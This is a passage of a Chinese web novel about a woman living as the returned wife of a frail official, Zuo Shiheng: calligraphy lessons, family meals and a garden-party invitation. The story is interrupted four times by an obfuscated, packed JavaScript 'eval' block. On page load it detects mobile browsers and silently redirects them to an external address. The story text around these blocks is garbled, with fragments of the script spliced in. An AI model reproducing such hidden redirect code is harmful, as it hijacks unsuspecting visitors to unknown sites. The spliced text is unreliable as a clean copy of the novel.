;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692012|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道。”左岁朝她笑,“爹爹也知道。” 安声不解其意,尚未及细想,穆诗便来了。 她先是与左岁说了几句国公府的事,然后笑道:“少爷回来了,还不知道夫人回家的事。” 左岁跳下凳子:“姐姐帮我娘亲梳头吧,我去带哥哥过来。” - 左时珩今日朝会后被皇帝留了下,将他请至御书房中问了几句工部事宜,左攀右扯却又说不到重点,正当左时珩不解时,皇帝屏退左右,取了幅新写的字给他看。 “左卿,你来瞧我这次写的如何?” 左时珩接过默了默:“皇上的字较之前有所进益。” 皇帝容色一松,笑道:“我就知道,勤能补拙嘛。遥想多年前,有一回宫宴,你携夫人进宫,夫人望着冬晴轩门楣上的几个字,说‘一般’,恰巧被我听着了,欸呀,言犹在耳啊……这些年,简直成了我一块心病,自她之前,我耳朵里听见的可都是好话,她还是敢第一个说实话的。” 皇帝交手而立,感慨道:“一晃几年,朕的字有了进步,倒真想再让你那位性子直爽的夫人评价一番,只可惜……对了,听说你又去云水山了?山中寒凉,春雪未融,你病体未愈,下次不要去了。” 是关切,也是旨意。 原来绕一大圈,是为这个。 左时珩浅笑:“是,臣下次不再去了。” 他爽快应下反倒令皇帝惊诧,之前也不是没暗示过,只是丧妻焉能不痛,他便是天子也不能无情,纵见爱臣愈发孱弱,也不忍苛责,不想眼下性情执拗的左时珩倒这样好说话起来。 可观他眉间带笑,又不似勉强。 莫非是深情另托了? 他想问,却又不便开口,毕竟皇帝当面打听臣子私事,传出去有些不太光彩。 左时珩行了一礼:“内子已然回家,若将来有幸再赏皇上墨宝,乃是臣夫妇荣幸。” “什么?”皇帝霍然惊问,“你说你那位消失五年的夫人忽然回来了?” 非是他失态,而是当年此事颇为诡谲,朝臣无所不知,他亦有所耳闻,甚至亲自指派了京都衙门协助找人,偏偏上天入地,遍无踪迹,传为京城奇事一桩。 左时珩答:“是。” 皇帝耐不住好奇,连忙追问了几句,左时珩早已有套完整的说辞呈上,隐去其中无法解释之处。 纵然如此,仍听得皇帝兴致勃勃。 待左时珩走后,他几乎迫不及待吩咐内侍:“快,快去请皇后来,朕有事要与她说。” 对此事,左时珩心下是略有些无奈的,不过他也清楚这位皇上的性子,惯爱打听些大臣阴私,既是取乐,亦是拿捏。 只是他未曾想到,回到工部衙门,又有同僚悄悄向他问起,说是从户部那边听来的,不禁心中更是无语。 想来定然是出自那位城门前与他偶遇的右侍郎之口了。 他正色问:“张大人既去了户部,是否拿到环陵修缮那笔经费的批文了?” 张大人一下色变,摇摇头,摆摆手,唉声叹气,又咬牙切齿骂骂咧咧地转身离开:“这个申哲,真不是人。” 总算清静些。 左时珩坐在案后疲倦地揉捏眉心。 不过此事必是瞒不住,京城权贵之间皆有往来交集,女眷也少不了互相走动。虽说从前安声并不反感这些,甚至还与不少夫人交好,但如今…… 如今,他只想自私的,将她珍藏起来。 8. 写字 安声这头又见了两场泪。 一是从老家回来的穆诗母亲李妈妈来拜会她时哭的,一把眼泪一把鼻涕,细数这些年她不在时府上的愁云惨雾,从左时珩到左岁左序,再到府上大小众人,一一思念夫人时的表现。若非穆诗拦住,及时拉了她娘出去,怕是到天黑也说不完。 安声一边感叹一边也有些哭笑不得。 另一场自然是她的“儿子”左序。 他与李妈妈相反,是拼命忍着,忍得眼眶通红,再背过身去偷偷抹泪,同她说话时声音分明颤个不停,却还佯装镇定,甚至安声安慰他时,他也摇头说无妨,像个成熟的小大人。 不过在安声主动抱住他后,他到底还是没抗住,在她怀里哽咽着哼唧了几声。 安声笑道:“你们兄妹性子还真有些像。” 兄妹俩异口同声:“才不像。” 安声一愣,忍不住笑。 “好吧,不像。” 大约是左时珩吩咐过,所以今日给她准备的饭菜并没有昨日那般夸张,不过是家常便饭,但异常合她口味。 两个孩子在她这里用了午饭后,又都抱了功课来她这里做,左岁在写字,左序在背书。 大约不想吵到妹妹,左序便去了外面,站在院中的海棠花下背论语,安声透过窗看他,见他一本正经,摇头晃脑的,很是可爱。 九岁的少年眉眼尚未长开,脸颊两旁还堆着肉,不过大约是在左时珩身边长大,故而已初具文人墨客的气质,一袭白锦春袍,半披着发,尤其清朗。 她笑了笑,又去瞧左岁写字,她在临摹一幅手帖,一板一眼,一横一竖,格外认真。 “岁岁的字写得很好看呢。” 左岁仰起头:“爹爹教我的。” 她指了指那幅手帖:“这是爹爹的字。” 安声视线落下,仔细去看,见帖上是一首七言绝句,字体清隽而不失风骨,下笔遒劲有力,实在是好字。 她不大会写毛笔字,主要是怠于练习,不过审美是在线的,一眼就能分辨得出好坏。 “娘亲要不要写?” 左岁朝她笑。 “我……不是很会。” “那太好了。” “嗯?” 安声不解,好在哪儿? 左岁抿嘴笑得很甜,娘亲不会写字的话,爹爹又可以重新教娘亲了。 话正说着,下人在门外说大人回来了,母女齐齐抬头,望向窗外,见左时珩阔步穿过庭中的摇曳碎金而来,身姿如松,眉眼独绝。 安声蓦地想到他的字。 当真是字如其人。 左时珩走进屋内,一眼便瞧见母女俩在窗下写字,一静一动,美如画卷,眼底自然浮起笑意。 安声脱口问:“你下班啦?” 左时珩笑应:“嗯,下班了。” 他接的太顺,反倒让安声怔愣了下:“啊……你下班挺早啊,不过你上班也很早,应该的。” 左序抱着书跟在后头进来唤了声爹爹,左岁则高兴道:“娘亲说我的字写得好看,也想让爹爹教。” 安声心道,她没这么说,不过…… “是这样吗?”左时珩眸底微微亮起。 安声不想扫兴,只好顺势应下。 “嗯,左大人的字一流,不输大家,我的毛笔字写得不好,若是有空的话……是想请你指导指导。” “我今日便有空。” “……”安声略讪,“好啊。” 他颔首:“那过会儿去我书房吧。” 说罢转身看向左序:“你在娘亲这里做功课吗?” “是的,爹爹。” “将你最近作的文章拿几篇给我看看。” “在我院里,我现在去取。” 左序心里紧张,临出门前向妹妹投去一抹目光。 左岁心领神会,扯了扯安声的袖子。 安声低头,听她耳语几句,不禁笑了笑,道:“好,我尽量。” “什么悄悄话不能让我听?” 左时珩已然近前,拿过左岁的字帖检查。 “既然是悄悄话,当然不能告诉你。”安声清了清嗓子,“这是我们之间的秘密。” “好,那我不问。”左时珩宠溺一笑,提笔批改了左岁的字,在其上圈圈画画,又递还回去,赞道,“岁岁进步很快,上回我听国公府的人说,你琴也学得很好,文先生常夸你。” 左时珩口中的文先生是兰州乐师文瑶,原先只在教坊弹琴,后得了荣幸入宫教习汝宁公主,一时闻名大躁,成了各大勋贵的座上宾,如今正在永国公府。 左岁颇有些骄傲:“文先生可不止会精于琴技,还要教我别的呢。” 正说着,左序已拿了文章来,左时珩让他去书房,他便惴惴不安地看了左岁一眼,左岁悄悄点头,左序绷紧的弦松了一半。 安声注意到他们兄妹的小动作,配合道:“我也去吧,反正一会儿要练字什么的。” 左序的弦全松了。 去了书房,左时珩立即认真检查起左序的文章来,父子俩在案后一坐一站,皆未出声。 安声也未打扰,继续打量起书房布局。 昨夜匆匆看了一圈,还不大真切,眼下借着日光,却很分明了。 书案左侧还有个多宝阁,摆着几件精巧木雕,有飞禽走兽,譬如狐犬鹦鹉,有交通工具,譬如商船马车,以及…… “飞机?!”安声惊呼。 左时珩与左序齐抬头看她。 左时珩低笑了声:“嗯,是飞机。” 他示意儿子拿过来。 左序端着飞机木雕递给安声,趁机告状:“这是娘亲以前刻了给我玩的,后来被爹爹抢走了。” “咳咳。”左时珩低咳两声,手指点点纸面,“阿序,你这篇问题很大。” 左序立即不说话了。 安声望着手里的飞机模型,有片刻发懵,木雕上一尘不染,光亮如新,可见有人时时擦拭。 这是一架民航客机,式样普通而经典,就像动画片中常出现的那些,下面用架子托着固定,腾空摆放。 她回过神,意识到这必然也是那位“安声”的手笔了,便更加确信自己与她绝非一人,因为她……根本不会什么木雕。 “……百余字竟错了三个,四五处用词不准……引用古籍文义要先领会其意,不要为了句子漂亮而一味堆砌……” 左时珩余光中见安声用手托着飞机玩心大起的转了半圈,方还严厉的眉眼又柔和起来,将批改好的文章还给儿子。 “还算有进步,改罢重新誊抄吧,另,回书院前,再作两篇给我,我拟题目。” “那我什么时候回去啊?” “三天后。” “才三天。”左序嘴角向下,“爹爹,我不能在家里多待一段时日吗?娘亲好不容易回家,我想陪着她。” “那就五天,作三篇文章。” “娘亲!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692013|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “呃……”安声拿着飞机看过来,“作业会不会太多了?又要背书又要写作文,压力多大啊。” 左序忙不迭点头:“就是,除此之外我还有书院的功课呢。” 左时珩摇头:“好,娘亲替你说话,那就还是两篇,作完送来。” 左序又看向安声,安声眨了眨眼:“这次我赞同你爹爹,小孩子别累着也别闲着。” 左序垂头丧气地走出书房,一出去便一扫颓丧,小跑回了风芜院,同左岁说了此事。 “还是娘亲好,爹爹都没训我,且娘亲一句话爹爹就退让了,不过两篇文章还是有些多了,我最近还在看医书呢。” 左岁问:“哥,孟先生答应收你为徒了?” 左序摇头:“没有,说看我表现,但给了我两本医书,我已背了大半。” 孟先生名叫孟山辉,是松下书院刘夫子的好友,乃是一江湖游医,不过医术精湛,也很有脾气秉性。他于两月前进京受夫子邀替荣安侯府的老侯爷治头风,颇有成效,如今就住在桐花巷隔壁的月柳巷。 左序听说了这事,暗中寻机上门拜访,想拜师学医,不过他并不为悬壶济世,只想精于此道,为爹爹调理好身体。 他趴在桌子上,有些郁闷:“从前还是娘亲对我谆谆教诲,要我照顾好爹爹,只怕她现在也全然忘了。” “娘亲回来就好啊。”左岁比兄长乐观得多,“等爹爹拟了题目,我替你作一篇,你拿去誊抄,省了时间去背医书。” 左时珩这几年时常生病,虽能瞒得住外人,却也瞒不住一双儿女,病躯渐弱,良木渐朽,随安声不在的时日愈发憔悴,病中有时整宿无法安眠,吃药吃饭转头就吐,直吐到胃中空空如也,连提笔的力气也无。 此是心病,全凭一份思念支撑,故而他早知药石难医,才不做无用事,并非执拗倔强,故意自损。 左序走到庭中时左岁又喊住他。 “哥,娘亲不会走了,所以爹爹会好起来的。” “是。”左序回头,坚声道,“爹爹长命百岁!” 书房中,安声将飞机木雕放回原位。 “要写字么?” 左时珩取了一卷新的熟宣于案上铺陈开,又从桌下暗格拿了墨条,“你随意写,我来替你研墨。” “我的字真的不好看。” “无妨,权当打发时间。” “但是左大人你,好严厉啊,而我是个脆弱的学生。” 安声故意唉声走过去,左时珩已让至一旁,往砚中点水,挽袖执墨徐徐研磨。 左时珩笑道:“我也不是对谁都严厉。” 细细的摩擦声入耳,淡淡的墨味洇开,安声轻嗅着,还能闻到宣纸的清香,此时她方注意到书房中昨夜浓郁的药味已差不多散尽了,若不是仔细辨别,几乎感觉不到。 反倒是左时珩衣带袖口残留的清苦还要更多一些。 她目光落在他的手上,骨骼分明,苍白修长,十分好看,只是手背上青色血管蜿蜒凸起,又露出一截瘦削的腕骨。 漆黑细腻的墨在砚中晕开,愈发衬得他指如白玉。 实在是太瘦了。 如此高大挺拔的身躯却仿佛只剩一副病骨支离,内里精血几乎耗尽的模样。 只他平日里太过沉稳温和,做事可靠,非是寸寸打量,实在让人极易忽视他宽袍大袖下的苍白。 “左时珩。” “嗯?” “以后要好好吃饭啊。” 9. 书房 左时珩略怔了怔,低声笑应:“好。” 安声已着眼于他处,从笔架上挑了支毛笔,未注意到左时珩眼尾的泛红。 待她轻轻蘸墨时,左大人却已神色如常,柔声提醒她小心袖子。 “我的字大概不如岁岁和阿序,左时珩,你最好用八岁小孩的标准要求我。” “好。”左时珩不禁笑起来,“再减几岁也无妨,一两岁的孩子连笔还不会拿呢,写成什么样也情有可原。” 安声捏紧笔杆,义正辞严:“别取笑我,至少也是三岁。” 左时珩忍不住掩唇笑了好几声,又转过头去低咳。 安声看了他一眼,刮了刮笔锋,在心里默背了首李白的诗,准备下笔前,道:“你先别盯着看,等我写完,你再批评。” “好,不看。” 左时珩清了下嗓子,转身去做别的事。 安声一下笔就知道以前学的毛笔字还了八成给老师,她心虚抬眼,见左时珩不知从何处取了香盒出来,正往香炉中添香。 烟雾袅袅而起,将他面容遮的模糊不清。 不知是什么香,不似左时珩身上的白梅,与檀香倒有三分像,只更清甜些,闻来令人静心。 她收敛心神,专注笔下,写完了一首《夜宿山寺》。 写完又悄悄瞥了眼左时珩,见他正捧着一卷书倚在榻上看,便没急着出声,先自我评估了番。 她倒也不是全无水平,至少有几个字还能入眼,譬如“不敢高声语,恐惊天上人”的这个“恐”和“天”就还不错,其他的只能说……工整。 “写好了吗?” 左时珩忽然问。 安声抬头,与他四目相对,天光在他身后漫散,衬得他清冷卓绝,似高山雪。 安声看怔了,视线便落向“天上人”三个字,说:“左时珩,我要重写一遍。” “好,不急。”他放下书卷,略一沉吟,“不过我想你可能是用不惯这套笔。” 他在多宝阁底下的柜子里找了支漂亮的软毫小楷与她:“试试这支。” “这支笔好漂亮。” 安声接过,想问问是否是他妻子用的,又觉得是明知故问,还有些不礼貌,便没开口。 左时珩照例未打扰她,又去一旁安静看书了。 这支笔安声的确用着顺手,因之前已写了一遍,这次更有手感,很快便写完了。 等她唤他,他才走近,绕至案后,淡笑。 “让我看看三岁小孩的字写得如何。” “起笔随意,没有藏锋。”他另换了支笔,精准圈点,“竖写略飘了。” “左右过散,不够紧凑。” “上重下轻。” “没有参差。” 一路圈过去,没几个字幸免。 安声捂脸:“左大人,我很羞愧。” 左时珩笑了声,最后落在“人”字上一点:“这个捺脚不错。” 听到“不错”两个字,安声打开手指:“真的吗?” 透过指缝的杏眼亮晶晶的,仿佛夜幕星辰。 左时珩轻笑颔首:“真的,不像三岁,有四岁的水平。” 安声:“……” 她拿下手,看他圈点的那二十个字,又满足道:“你看,从第一个字到最后一个字,从不足三岁水平到四岁,说明我在短短一炷香时间进步飞快啊!简直就是天赋异禀。” “嘿呀左大人呐。”她拍拍他肩,“教到我这样的学生你就偷着乐吧。” “嗯,已经明着乐了。” 左时珩的语气颇为明快。 虽是尽力挽尊,但安声还是乐意接受批评建议的,依照左时珩的指点又重写了好几遍,慢慢也就不再紧张,反倒喜欢他看着自己写,如此每一笔落下,每个字成型,他都能及时纠正。 练了约半个时辰,左时珩叫了停。 “许久不写的话,手腕容易受伤,还是循序渐进。” “再写一会儿。” 安声正在兴头上。 左时珩温声道:“是我累了。” 安声想起来一直是左时珩给她磨墨,很是过意不去,忙搁下笔:“我也累了,下次再练。” 他看了眼滴漏,揉着手腕。 “申初了,晚膳想吃什么?让李婶她们准备着。” 安声盯着他瘦削的手,愈发惭愧。 “都可以,我发现我在你家吃的每道菜都很不错,没有不爱吃的,你应该选你喜欢的,这样可以多吃点饭。” “好。”左时珩温和道,“我会吩咐下去的,我过会儿要批公文,你可让岁岁陪着在园子里走走。” 真是辛苦。 不过批公文还是要写字吧。 安声说:“那换我来给你磨墨吧,放心,不会打扰你的。” 左时珩沉吟片刻,笑指了下她的手腕:“那先揉一揉,用力有度,才不会受伤。” 安声与他待在书房直到日头偏西,期间左时珩一刻未停,看了好些公文与图纸,皆细致做了批注。 反倒是安声,信誓旦旦说研墨,其实也用不着那么多,一会儿便够了,余下时间反而不知该做什么,便静静看他写字。 与左岁临摹的那幅手帖相比,左时珩公务用字偏刚劲,笔笔藏锋,写得快而工整。 偶一抬头,见李妈妈在廊下朝她招手,便放轻脚步出去。 她问:“夫人,我在厨房煮了药茶,可要这会儿端来?从前大人喝不惯,不过现有夫人盯着,想来是能喝完的。” “药茶?和药差不多吗?” “差得多,润润嗓子暖暖身子却是够了,不过药么也吃了不少,不大管用,大人昨日叫不要煎了。说来大人咳疾未愈,昨夜睡觉还不关窗,可不是糟蹋自己么?”她叹了口气,“希望大人病早些好起来,就不怕将病气传给夫人,影响你们歇在一处了。” 安声抿嘴。 关于他们的分居,左时珩与府上人的解释是“防止将病气过给她”,很完美的理由。 她说:“把药茶端来吧。” 日光偏移,书房渐渐暗了。 左时珩总算停笔,将批完的一沓公文挪至一旁,再次揉了揉腕。 一缕清苦混着茶香沁入鼻尖。 他抬头,是安声将一杯茶放在他面前,杯中茶水乌黑。 “药?”他下意识蹙眉。 “茶。”安声自己也捧了杯,热气氤氲在眉眼,“我尝了,不是十分难喝,只是六分难喝。” 左时珩一笑,啜了口:“嗯,很准确的形容。” 也只有他可爱的妻子,才会这样用词。 从前她病了,哄她喝药时,她总要和他讨价还价,说要加一点糖。 他担心影响药性,却又怕她觉得苦,还是会加一点。 安声便皱着脸:“我说加一点,你只加了一点点。” “有什么不同?” “一点点比一点少很多,你别想偷工减料,我会盯着你。” 她拥着被子团成一团,乌发慵懒散开,用圆圆的杏眼瞪他,因着风寒,说话声音也软软的,携着几分闷闷的鼻音,像是撒娇。 此时的左时珩尚能维持一二分原则,努力板起脸:“已经加过了,不能再加。” 安声便又裹紧被子,思维跳跃:“左时珩,你看我现在像什么?” 像什么? “乌龟?……” “没错,我现在要缩回壳里了。”安声把脑袋蒙进被子里,闷闷道,“如果你不再加一点,我是不会出来的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692014|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左时珩忍俊不禁,顷刻败下阵来。 “好的,那就……再加一点点。” 他坐到床边,在被子上敲了两下:“乌龟姑娘,现在可以开门了吗?” 安声这才慢悠悠地伸出头。 “那请乌龟先生喂我吧。” “左时珩?” 安声的声音将他从往事中抽离,连自己也未意识到,他望向安声的目光早已温柔缱绻,失了自控。 他垂下眸,长睫轻颤,只好借杯身掩饰失态。 虽尚未有他们的曾经,但她依然如此可亲可爱,在他眼中不曾变过。 他想念她。 即便她如今就站在眼前,仍是万分想念她。 想抱她,吻她。 将“爱她”二字,说上千万遍。 不过柔肠百转,百般克制后,也只剩余力叹息。 “安声,这茶好苦。” 安声无法窥见他纷乱心思,倒是察觉出他蓦然低迷的情绪。 她想了一想:“你等我一下。” 她将茶搁下,飞快转身离去,左时珩下意识伸手挽留,指尖只触到日薄西山后逐渐冰凉的空气。 他心忽然快速跳起来,弯腰一阵急咳,眼前发黑。 “还好吗?”安声回来得很快,还未进屋便听他的咳声,连忙飞奔过去扶他,“来,先坐下。” 她拍着他背,将药茶端给他:“快喝几口,这会就别嫌苦了。” 苦涩茶水灌入,勉强压下喉间淡淡的血腥气。 对上安声关切的目光,左时珩略略平复气息,摇头:“不要紧,只是一时岔了气。” “喝完。”安声将从东厢房拿来的蜜饯放桌上,“然后吃这个,不过只能吃一颗。” 她一时情急,并非用的商量的语气,见左时珩乖乖照做后,才后知后觉的犯了尴尬。 人尴尬时总假装很忙,于是她开始整理起书桌。 “我觉得你是太累了,本来还说你下班早,现在看来,你只是从工位换成居家办公,睡得不好,又起太早,还休息的很少,阎王爷都得佩服你。” “不过你睡得不好这点,我也有责任,是我占……诶,这什么?” 一张请帖从桌上落下,安声拾起打开。 上面写着—— 谨请左尚书台驾,敝府文英园新修落成,群芳竞发,春色怡人,某慕诸公品贵高雅,不敢独享,特命仆扫径烹茶,盼望佳音。 谨詹于本月二十八日过午,静候莅临。 “……主家成国公府魏广拜具。”安声想起来,“这个是不是我们回家那天巷子里碰见的那个人说要你一定去参加的雅集?” 左时珩点头,正欲说不必去时,听她好奇问:“他新修的园子很大吗?会比你家大吗?” 他便笑道:“没去过,不过成国公府比这座尚书宅邸大得多,几乎占了一整条街,魏二爷喜欢广交朋友,常设雅宴清谈,听说为了这座新修的园子,还特意从全国各地引进许多珍品花木。” 那岂不是大观园? “左时珩,你要去吗?” 安声强压内心期待与雀跃,维持表面淡定,实则那日在马车里,她听到什么园子赏花,就恨不得替左时珩应下了。 她就爱凑点热闹。 何况莫名来了这奇妙陌生的地方,看什么都新奇。 左时珩放下杯子:“非是我不愿去,乃是这般邀约通常乃夫妇二人偕同前往,我孤身一人实属不便……” 安声立即接话:“我啊,我可以跟你一起去。” “当真?”左时珩眸底有隐隐笑意,语气却还寻常,甚至有些歉疚,“只怕有些麻烦你。” 安声给他递蜜饯:“不麻烦不麻烦,那位国舅说得对,你应该多散散心。” 10. 几日 安声觉得左时珩实在是一个说到做到的人,譬如答应了她会好好吃饭,晚膳便主动去了正厅,无须她再叫一遍。 左岁与左序在桌旁早已乖乖坐好,见到爹爹过来,互相对望一眼,在桌底下击了个掌。 等安声收拾好进来时,三人都在等她。 大约与左时珩及两个孩子相熟不少,故而这次不似之前那么不自在了。 依旧是家常便饭,安声就喜欢这样,太丰盛太隆重反倒让人食不知味。 且她观察到,左时珩教育出的两个孩子,举止有礼却不木讷,进退有度却不死板。 例如吃饭时,两人都捧着碗乖乖吃自己的,无须看大人脸色,爱吃什么会自己夹,却不会堆得满满的,也不会乱翻,虽不至于“食不言”,但交谈时会压低声音,也不会一直说话,且碗中食物都会吃完,不浪费粮食。 除了有点挑食外,实在无其他问题,连吃完也会懂事地说一声“爹爹,娘亲,我们吃好了”。 不过挑食在安声看来,并非什么问题,是个人都有不爱吃的菜,这很正常。 且她既能见到此点,足以说明左时珩也并未刻意去纠正他们,看来,确如岁岁所说,他们的父亲除去功课上外,实在是很温和宽容。 左时珩吃的不多,很快就放下了碗。 李妈妈笑容满面地端来一盅药膳,摆在他面前。 “这四神汤可熬了一个时辰了,放了排骨,茯苓、山药、莲子、姜片……” “李婶,我没有吩咐这个。”左时珩皱眉打断她。 “是夫人吩咐的。” 见左时珩看过来,安声扯了个笑:“问了,不难吃,与药茶比起来,顶多一分,真的,要不,你尝尝?” 左时珩掀开瓷盅,便有隐约姜味沁入鼻腔。 他闭了闭眼,睁开,叹道:“安声,才喝了药茶,又要吃药膳,这样的人生是否太辛苦了?” 语气不似抱怨,倒像是…… 安声蓦地听明白了。 她低头笑了声,想开口又忍不住笑了声,最后双手交握支在身前:“……那是很辛苦了。” 李妈妈懵着:“什么辛苦?是说苦吧?不苦,这个不苦,大人尝尝就知道了。” 说着又将药膳往左时珩面前推了推。 安声低首,脸掩在小臂后,双肩发颤。 左时珩无奈:“好了李婶,我知道了,我会吃完的,过会儿你再来收拾。” “好,这就好。”李妈妈满意,走前不忘又强调一句,“定要吃完,熬了许久。” 厅内只剩二人。 左时珩道:“想笑便笑吧,忍着也辛苦。” 安声无所顾忌地笑出声。 “左时珩,你讲话有一点像我……” 这句话说完,她自己忽然愣了下。 不过左时珩立即移走了她的注意力。 “安声,那我吃完这份药膳,可以再吃一颗蜜饯吗?” 安声眨了眨眼,反应慢半拍:“当然可以。” 夜里躺在床上,安声又想到此事。 上次吃的都是左时珩推荐买的,明明是买给孩子的,可岁岁与阿序似乎全不怎么爱吃,全到了她肚子里。 她爱吃没那么甜的甜食,可说来简单,掌握好她的度却不简单,多一分则太腻,多少一分则太淡。 但上次买来的吃食,基本都十分合她心意。 糕点甜而不腻,干果香香脆脆,便是蜜饯,也有酸味将甜味中和的刚好。 是巧合么?她与那位“安声”竟有如此多惊人的相似? 不过,这位年及而立的鳏夫倒的确是爱惨了他的妻子,实在细致入微极了。 安声不禁想,若是这份关切是对于自己的,那的确很难不动心。 左时珩无论外表还是性格,都完美符合她的理想型,挑不出一点错。 可是—— “不道德啊,不道德。” 安声翻了个身,自言自语了句。 “娘亲,你睡不着吗?”岁岁小声问。 “岁岁,我吵到你了吗?” “不是,我也没睡着。” 安声又翻回来,床不远处留了盏烛台,借着漫入纱帐的烛光,端详小姑娘可爱的脸。 她今晚歇在她这里时,还抱了个布娃娃,不似她来自电视剧中的刻板印象,她怀里的布娃娃像一只闭眼睡觉的趴趴小狗,外面一层是毛茸茸的兔绒,摸起来手感很好。 这种类似于现代的产物,安声快要见怪不怪了。 左岁往她怀里钻了钻,软软的头发抵在她颈间,香香暖暖的。 “娘亲,你给我讲故事吧。” “好啊,想听什么故事?” 安声在脑海中搜罗着她还记得的童话故事。 “都可以,娘亲讲的都爱听。” “那让我想想。” 她一下能想起来的,无非是经典的童话,譬如白雪公主,灰姑娘等。 不过小孩似乎入睡的都很快,安声还没想好,怀中的小姑娘已经气息均匀地睡着了。 她的布娃娃被冷落在床内侧,安心窝在安声怀里。 安声心也软软的,想着那便下次再说,忽听岁岁迷迷糊糊地说了句:“……白雪公主好可怜啊……” 安声呼吸一滞。 虽说她对这个家里的“现代元素”已有了准备,但猝不及防听见,仍觉得“语出惊人”。 她无不艳羡地想,这个家里处处是“她”的影子,她被家人那样坚定而热烈的爱着。不知那位与她奇妙相似的安声,拥有的那个五年,会是如何幸福的五年。 抱着岁岁睡的一夜很是安稳,即便那盏房内的烛台很快燃尽,她也不再怕黑了。 成国公府下的请帖是二十八,翌日是二十四,还有几天。 这几天日子,安声过得平淡且满足。 睡得早起得早,吃得好。 左时珩忙得很,每日天刚亮便到衙署去了,她则与岁岁不紧不慢地起了,给岁岁梳个头,等阿序过来一道用早饭,然后再陪两个孩子在院里做功课。 她在府里随意自在,便是披散着头发在园子里逛,内院的下人似乎也见怪不怪,不过若去前院还是会收拾妥当。 穆诗与李妈妈变着法的做好吃的送来,各式各样,且大多都是“独门秘籍”。 她从一开始的客气不好意思,到后面见她们端来“冰糖葫芦”与“奶茶”都已不再惊讶了。 李妈妈说外头的山楂不干净,又只有一种果子,多准备些不一样的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692015|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家熬了糖,用糖水一裹,立即放到冰水里过一遍既成,新鲜又好玩。 至于奶茶,则更无须什么“现代条件”,用糖炒了茶,加牛乳一煮,然后装入竹筒杯,再舀一勺木薯粉做的珍珠即可。 当安声拿到那根木质吸管时,表情已经全然淡定——如果不是她们每端来一份特制吃食,就用“期待她想起什么”的眼神的话。 她将吸管插入竹筒,满足地喝了一大口奶茶。 显然,糖分摄入足以让多巴胺快速分泌,所以她心情很愉悦。 午后她坐于亭中,一边喝着奶茶一边临水喂鱼,百般惬意,不由要万分真诚地感谢那位“安声”,当真是前人栽树后人乘凉了。 也因此她忽然明白,为何众人爱她,因为她的确让这里鲜活起来,在自己感受“不一样”时,也将另一个世界的“不一样”带给了她身边的人。 她却也忍不住想,这些事似乎也是她的性子会做的,但她现在却想刻意不去做类似的了,毕竟被误会什么效仿什么替身什么的……不喜欢。 随去国公府赴宴的日子临近,安声原先的兴奋减淡了几分,转而被紧张替代。 这意味着她会一下见到很多有身份地位的古人,在这个等级森严的封建王朝,她须得小心谨慎,扮演好左时珩的妻子,至少不给他添麻烦。 夜间躺在床上思来想去,安声还是决定找左时珩再商议一番,至少有些事得完全对好口风,免得出现纰漏。 她推测左时珩这会儿定然还未歇下,便轻声披衣下床,给左岁掖好被子,自己提了灯穿过走廊去向书房。 转过弯果见书房窗内透着光,半开着,她悄悄走到窗下瞧了眼,却见左时珩披着外袍坐于牍案后,撑着头睡着了。 桌角的焰细了,将他的影子扯得很长,愈发显出他宽袍下的清瘦来。 安声轻声推门而入,欲走近唤醒他,免得他歇在这里着凉,无意瞥见他手边正有封被打开的书信,信纸泛黄,压在他指间。 正是这无意一眼,安声瞥见了自己的名字,便起了好奇,忍不住绕到他身旁多看几眼。 灯焰轻晃,纸上字迹模糊不清,她凑近去看,最先注意到的便是字体,一入眼忽诧住。 “……怎么像我的字?” 只是比她的字写得更好。 待要透过指缝细看信上内容,却听左时珩低唤了声:“阿声。” 安声心虚,猛地转过头,不期方才靠得太近,这一下竟与他面贴面碰到一起,额前猝不及防的触感与陡然放大的俊颜让她屏住呼吸,呆了刹那。 左时珩墨睫微颤,缓缓掀开眸,残存了几分惺忪朦胧。 不过转身薄雾散去,沉渊般的一双眼睛里,全然是她。 温柔的笑意漫上眼底,他抬手在安声额上轻点了下。 “半夜不睡,这是在做什么?” “我……” 安声起身后仰,险些跌倒,又被他扶住。 